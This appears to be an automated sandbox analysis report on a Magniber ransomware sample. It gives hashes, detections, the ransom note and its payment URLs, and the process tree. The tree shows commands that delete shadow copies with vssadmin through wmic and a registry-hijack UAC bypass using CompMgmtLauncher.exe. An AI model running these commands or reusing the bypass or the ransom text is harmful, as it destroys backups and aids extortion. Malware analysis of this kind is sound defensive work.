magniber | 2cd5879589f6af26488a2c9451d279306c472302375916e34f2646e7095ce4b9

Analysis

max time kernel
147s
max time network
140s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
15-03-2024 17:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

cbf762fb16cfe0149b46a61f3fb029fd.dll
Size

38KB
MD5

cbf762fb16cfe0149b46a61f3fb029fd
SHA1

24d70407e12631bd83f39164bcd5ca6a74a0b459
SHA256

2cd5879589f6af26488a2c9451d279306c472302375916e34f2646e7095ce4b9
SHA512

e26dd9fcb24b7357da2230c87d6ee7ed59f1288118160b42d92161a42e77a91077a8a9c6b9ab49a68f6cdf7135d57be3a465190118112d1c0a49e7408b28a853
SSDEEP

768:tNB4vRN8egwET/AOBHR9T7lGFDZFpVNKu90lQtwPFhXB+6OPvF65IM0:5A8ugn5T7le1l1Gb+6OPvdM

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Pictures\readme.txt婍

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://0894f630026cc460c8awbcrke.grv4f55lyxu36y26o4orfzy7vmwiljcruko6r7q4tatxvjugg4j66lid.onion/awbcrke Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://0894f630026cc460c8awbcrke.hegame.xyz/awbcrke http://0894f630026cc460c8awbcrke.tietill.space/awbcrke http://0894f630026cc460c8awbcrke.hesmust.top/awbcrke http://0894f630026cc460c8awbcrke.salecup.club/awbcrke Note! These are temporary addresses! They will be available for a limited amount of time! ?�

URLs

http://0894f630026cc460c8awbcrke.grv4f55lyxu36y26o4orfzy7vmwiljcruko6r7q4tatxvjugg4j66lid.onion/awbcrke

http://0894f630026cc460c8awbcrke.hegame.xyz/awbcrke

http://0894f630026cc460c8awbcrke.tietill.space/awbcrke

http://0894f630026cc460c8awbcrke.hesmust.top/awbcrke

http://0894f630026cc460c8awbcrke.salecup.club/awbcrke

Signatures

Detect magniber ransomware 2 IoCs

resource	yara_rule
behavioral1/memory/1120-16-0x00000000002D0000-0x00000000002D5000-memory.dmp	family_magniber
behavioral1/memory/2228-1-0x0000000001E20000-0x0000000002758000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 12 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2400	2056	cmd.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3028	2056	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1952	2056	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2732	2056	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2736	2056	cmd.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1864	2056	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1456	2056	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2904	2056	cmd.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	960	2056	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1556	2056	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1240	2056	cmd.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	748	2056	vssadmin.exe	36

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (80) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2228 set thread context of 1120	2228	rundll32.exe	19
PID 2228 set thread context of 1164	2228	rundll32.exe	20
PID 2228 set thread context of 1200	2228	rundll32.exe	21
PID 2228 set thread context of 1688	2228	rundll32.exe	23

Interacts with shadow copies 2 TTPs 8 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1952	vssadmin.exe
2732	vssadmin.exe
1864	vssadmin.exe
1456	vssadmin.exe
960	vssadmin.exe
1556	vssadmin.exe
748	vssadmin.exe
3028	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{408E9011-E2EF-11EE-8E7B-D20227E6D795} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = e02a5e15fc76da01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000071c834f68b8ed044a0afda50fbc58a70000000000200000000001066000000010000200000009336d5ab25a029e28f004ce90ed1a00588939dc4739cbc7df4d813569b122f7c000000000e8000000002000020000000cacd149faab06e01e3a4c75ca613bd1a04795f0ff2bdf0ead9444cd8d2770a5d200000005e8c20bb2f5654b644ec117efef5cdc96c808b92451005c641b2749eea176e5440000000a873e9b2e41dd447db53406b8cc9677fa0e3e53f8f460afdadfca9cefcb508b7f803decc39915b4264921cdd2601f3df0dd9b866bfc2b039ae928d64f10563d3	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000071c834f68b8ed044a0afda50fbc58a70000000000200000000001066000000010000200000004d8eed725c5a32d55ec3bf9badd41eadca4f61b1be6d454cfcf034f4d059eeb2000000000e80000000020000200000009dc4dc2dedd552c3a2a060f1c8cbcd7aacde2957cd1fa17f57a21aa5d262b6b0900000002c2b3eda8999dce1676f36cce9211e737315f3b774de1e625edccaf083809d4174a48648b0eed10b5796df01ad3a4d9f576463bbae6d9e2188bb81da717a58ce40af52b84544897fd55251111b7d197b7004e62be5148d1805e755cc01a2ca064d408b92d53a40c0379a69a4fb5784f5758d29464360a21ac3eec6440ddf4471ba5b7933a9b2a5f37b6e73c5295a33e240000000aa1225e428cf03619d194ae72756dfe04547016a61acecf31c26158007fbc14113a905ea70748b4725298fdb932e8c260cc04c6f358a1ab3689ffe25b7374652	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "416684638"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\mscfile\shell\open	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\mscfile\shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\mscfile	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\mscfile\shell\open\command	rundll32.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2020	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2228	rundll32.exe
2228	rundll32.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2228	rundll32.exe
2228	rundll32.exe
2228	rundll32.exe
2228	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1200	Explorer.EXE
Token: SeShutdownPrivilege	1200	Explorer.EXE
Token: SeShutdownPrivilege	1200	Explorer.EXE
Token: SeShutdownPrivilege	1200	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1560	wmic.exe
Token: SeSecurityPrivilege	1560	wmic.exe
Token: SeTakeOwnershipPrivilege	1560	wmic.exe
Token: SeLoadDriverPrivilege	1560	wmic.exe
Token: SeSystemProfilePrivilege	1560	wmic.exe
Token: SeSystemtimePrivilege	1560	wmic.exe
Token: SeProfSingleProcessPrivilege	1560	wmic.exe
Token: SeIncBasePriorityPrivilege	1560	wmic.exe
Token: SeCreatePagefilePrivilege	1560	wmic.exe
Token: SeBackupPrivilege	1560	wmic.exe
Token: SeRestorePrivilege	1560	wmic.exe
Token: SeShutdownPrivilege	1560	wmic.exe
Token: SeDebugPrivilege	1560	wmic.exe
Token: SeSystemEnvironmentPrivilege	1560	wmic.exe
Token: SeRemoteShutdownPrivilege	1560	wmic.exe
Token: SeUndockPrivilege	1560	wmic.exe
Token: SeManageVolumePrivilege	1560	wmic.exe
Token: 33	1560	wmic.exe
Token: 34	1560	wmic.exe
Token: 35	1560	wmic.exe
Token: SeIncreaseQuotaPrivilege	2824	WMIC.exe
Token: SeSecurityPrivilege	2824	WMIC.exe
Token: SeTakeOwnershipPrivilege	2824	WMIC.exe
Token: SeLoadDriverPrivilege	2824	WMIC.exe
Token: SeSystemProfilePrivilege	2824	WMIC.exe
Token: SeSystemtimePrivilege	2824	WMIC.exe
Token: SeProfSingleProcessPrivilege	2824	WMIC.exe
Token: SeIncBasePriorityPrivilege	2824	WMIC.exe
Token: SeCreatePagefilePrivilege	2824	WMIC.exe
Token: SeBackupPrivilege	2824	WMIC.exe
Token: SeRestorePrivilege	2824	WMIC.exe
Token: SeShutdownPrivilege	2824	WMIC.exe
Token: SeDebugPrivilege	2824	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2824	WMIC.exe
Token: SeRemoteShutdownPrivilege	2824	WMIC.exe
Token: SeUndockPrivilege	2824	WMIC.exe
Token: SeManageVolumePrivilege	2824	WMIC.exe
Token: 33	2824	WMIC.exe
Token: 34	2824	WMIC.exe
Token: 35	2824	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1560	wmic.exe
Token: SeSecurityPrivilege	1560	wmic.exe
Token: SeTakeOwnershipPrivilege	1560	wmic.exe
Token: SeLoadDriverPrivilege	1560	wmic.exe
Token: SeSystemProfilePrivilege	1560	wmic.exe
Token: SeSystemtimePrivilege	1560	wmic.exe
Token: SeProfSingleProcessPrivilege	1560	wmic.exe
Token: SeIncBasePriorityPrivilege	1560	wmic.exe
Token: SeCreatePagefilePrivilege	1560	wmic.exe
Token: SeBackupPrivilege	1560	wmic.exe
Token: SeRestorePrivilege	1560	wmic.exe
Token: SeShutdownPrivilege	1560	wmic.exe
Token: SeDebugPrivilege	1560	wmic.exe
Token: SeSystemEnvironmentPrivilege	1560	wmic.exe
Token: SeRemoteShutdownPrivilege	1560	wmic.exe
Token: SeUndockPrivilege	1560	wmic.exe
Token: SeManageVolumePrivilege	1560	wmic.exe
Token: 33	1560	wmic.exe
Token: 34	1560	wmic.exe
Token: 35	1560	wmic.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
1716	iexplore.exe
1200	Explorer.EXE
1200	Explorer.EXE
1200	Explorer.EXE
1200	Explorer.EXE
1200	Explorer.EXE
1200	Explorer.EXE

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
1200	Explorer.EXE
1200	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1716	iexplore.exe
1716	iexplore.exe
2448	IEXPLORE.EXE
2448	IEXPLORE.EXE
2448	IEXPLORE.EXE
2448	IEXPLORE.EXE

Suspicious use of UnmapMainImage 3 IoCs

pid	Process
1200	Explorer.EXE
1200	Explorer.EXE
1200	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2228 wrote to memory of 2020	2228	rundll32.exe	28
PID 2228 wrote to memory of 2020	2228	rundll32.exe	28
PID 2228 wrote to memory of 2020	2228	rundll32.exe	28
PID 2228 wrote to memory of 1748	2228	rundll32.exe	29
PID 2228 wrote to memory of 1748	2228	rundll32.exe	29
PID 2228 wrote to memory of 1748	2228	rundll32.exe	29
PID 2228 wrote to memory of 1560	2228	rundll32.exe	31
PID 2228 wrote to memory of 1560	2228	rundll32.exe	31
PID 2228 wrote to memory of 1560	2228	rundll32.exe	31
PID 2228 wrote to memory of 1544	2228	rundll32.exe	32
PID 2228 wrote to memory of 1544	2228	rundll32.exe	32
PID 2228 wrote to memory of 1544	2228	rundll32.exe	32
PID 1544 wrote to memory of 2824	1544	cmd.exe	35
PID 1544 wrote to memory of 2824	1544	cmd.exe	35
PID 1544 wrote to memory of 2824	1544	cmd.exe	35
PID 1748 wrote to memory of 1716	1748	cmd.exe	37
PID 1748 wrote to memory of 1716	1748	cmd.exe	37
PID 1748 wrote to memory of 1716	1748	cmd.exe	37
PID 2400 wrote to memory of 1032	2400	cmd.exe	43
PID 2400 wrote to memory of 1032	2400	cmd.exe	43
PID 2400 wrote to memory of 1032	2400	cmd.exe	43
PID 1716 wrote to memory of 2448	1716	iexplore.exe	44
PID 1716 wrote to memory of 2448	1716	iexplore.exe	44
PID 1716 wrote to memory of 2448	1716	iexplore.exe	44
PID 1716 wrote to memory of 2448	1716	iexplore.exe	44
PID 1032 wrote to memory of 2496	1032	CompMgmtLauncher.exe	47
PID 1032 wrote to memory of 2496	1032	CompMgmtLauncher.exe	47
PID 1032 wrote to memory of 2496	1032	CompMgmtLauncher.exe	47
PID 1120 wrote to memory of 1340	1120	taskhost.exe	52
PID 1120 wrote to memory of 1340	1120	taskhost.exe	52
PID 1120 wrote to memory of 1340	1120	taskhost.exe	52
PID 1120 wrote to memory of 404	1120	taskhost.exe	53
PID 1120 wrote to memory of 404	1120	taskhost.exe	53
PID 1120 wrote to memory of 404	1120	taskhost.exe	53
PID 404 wrote to memory of 1544	404	cmd.exe	56
PID 404 wrote to memory of 1544	404	cmd.exe	56
PID 404 wrote to memory of 1544	404	cmd.exe	56
PID 2736 wrote to memory of 2068	2736	cmd.exe	61
PID 2736 wrote to memory of 2068	2736	cmd.exe	61
PID 2736 wrote to memory of 2068	2736	cmd.exe	61
PID 1164 wrote to memory of 860	1164	Dwm.exe	66
PID 1164 wrote to memory of 860	1164	Dwm.exe	66
PID 1164 wrote to memory of 860	1164	Dwm.exe	66
PID 1164 wrote to memory of 2932	1164	Dwm.exe	67
PID 1164 wrote to memory of 2932	1164	Dwm.exe	67
PID 1164 wrote to memory of 2932	1164	Dwm.exe	67
PID 2932 wrote to memory of 2000	2932	cmd.exe	70
PID 2932 wrote to memory of 2000	2932	cmd.exe	70
PID 2932 wrote to memory of 2000	2932	cmd.exe	70
PID 2904 wrote to memory of 1932	2904	cmd.exe	75
PID 2904 wrote to memory of 1932	2904	cmd.exe	75
PID 2904 wrote to memory of 1932	2904	cmd.exe	75
PID 1932 wrote to memory of 796	1932	CompMgmtLauncher.exe	76
PID 1932 wrote to memory of 796	1932	CompMgmtLauncher.exe	76
PID 1932 wrote to memory of 796	1932	CompMgmtLauncher.exe	76
PID 1200 wrote to memory of 1872	1200	Explorer.EXE	80
PID 1200 wrote to memory of 1872	1200	Explorer.EXE	80
PID 1200 wrote to memory of 1872	1200	Explorer.EXE	80
PID 1200 wrote to memory of 1704	1200	Explorer.EXE	81
PID 1200 wrote to memory of 1704	1200	Explorer.EXE	81
PID 1200 wrote to memory of 1704	1200	Explorer.EXE	81
PID 1704 wrote to memory of 2252	1704	cmd.exe	84
PID 1704 wrote to memory of 2252	1704	cmd.exe	84
PID 1704 wrote to memory of 2252	1704	cmd.exe	84

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1120
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:1340
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:404
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1544

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1164
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:860
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2000

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1200
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\cbf762fb16cfe0149b46a61f3fb029fd.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2228
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\Users\Public\readme.txt?
    3⤵
    - Opens file in notepad (likely ransom note)
    PID:2020
- - C:\Windows\system32\cmd.exe
    cmd /c "start http://0894f630026cc460c8awbcrke.hegame.xyz/awbcrke^&2^&50094979^&80^&387^&12"?
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1748
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://0894f630026cc460c8awbcrke.hegame.xyz/awbcrke&2&50094979&80&387&12?
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1716
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1716 CREDAT:275457 /prefetch:2
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:2448
- - C:\Windows\system32\wbem\wmic.exe
    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1560
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1544
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2824
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:1872
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1704
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2252

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1688

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2400
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1032
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2496

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:3028

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2212

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1952

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2732

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2736
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2068
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2812

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1864

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1456

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2904
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1932
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:796

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:960

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1556

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:1240
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2112
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2080

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
